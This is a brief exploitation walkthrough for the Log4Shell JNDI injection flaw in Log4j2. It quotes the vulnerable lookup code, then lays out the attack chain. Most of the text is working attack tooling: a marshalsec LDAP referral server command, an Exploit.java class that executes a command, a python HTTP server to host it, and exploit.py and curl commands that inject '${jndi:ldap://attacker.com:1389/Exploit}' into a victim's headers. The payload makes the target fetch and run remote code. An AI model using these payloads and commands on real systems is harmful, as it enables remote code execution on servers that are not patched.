// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com